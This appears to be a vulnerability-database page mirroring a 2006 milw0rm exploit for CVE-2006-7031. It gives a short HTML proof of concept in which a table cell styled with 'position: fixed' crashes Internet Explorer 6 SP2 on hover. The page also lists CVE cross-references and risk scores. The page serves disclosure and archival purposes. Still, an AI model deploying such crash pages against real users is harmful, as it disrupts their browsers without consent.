Microsoft Internet Explorer 6.0.2900 SP2 - CSS Attribute Denial of Service

🗓️ 10 May 2006 00:00:00Reported by sevenType

Microsoft Internet Explorer 6.0.2900 SP2 suffers from a CSS attribute denial of service vulnerability causing a session crash when hovering over a specially made table

Reporter	Title	Published	Views	Family All 6
Circl	CVE-2006-7031	17 Jan 202514:56	–	circl
CVE	CVE-2006-7031	23 Feb 200701:00	–	cve
Cvelist	CVE-2006-7031	23 Feb 200701:00	–	cvelist
NVD	CVE-2006-7031	23 Feb 200703:28	–	nvd
Positive Technologies	PT-2007-1310 · Microsoft · Internet Explorer	23 Feb 200700:00	–	ptsecurity
Vulnrichment	CVE-2006-7031	23 Feb 200701:00	–	vulnrichment

<!--
# Internet Explorer <= 6.0.2900 SP2
#
# suffers from a DoS vulnerability in which a remote users
# Internet Explorer session can be crashed when hovering
# their cursor over a specially made table. The fault occurs
# when the "position" CSS attribute is set to a table.
# This results in an 'unhandled exception in iexplorer.exe(MSHTML.DLL)'
#
# $uid-seven
#
# shout outs to cijfer
-->

<html>
<head>
</style>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>IE-Crash - By seven</title>
<style type="text/css">

#header{
position: fixed;
height: 761px;
width: 1268;
}
</style>
</head>
<body>
<table border="2" cellpadding="0" cellspacing="0" width="797" height="343" align="center">

    <tr>

    <td id="header" valign="top">

        </td>
<td valign="top">

        </td>
</table>

# milw0rm.com [2006-05-10]

20 Jul 2016 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 25

CVSS 3.16.5

EPSS0.17451

SSVC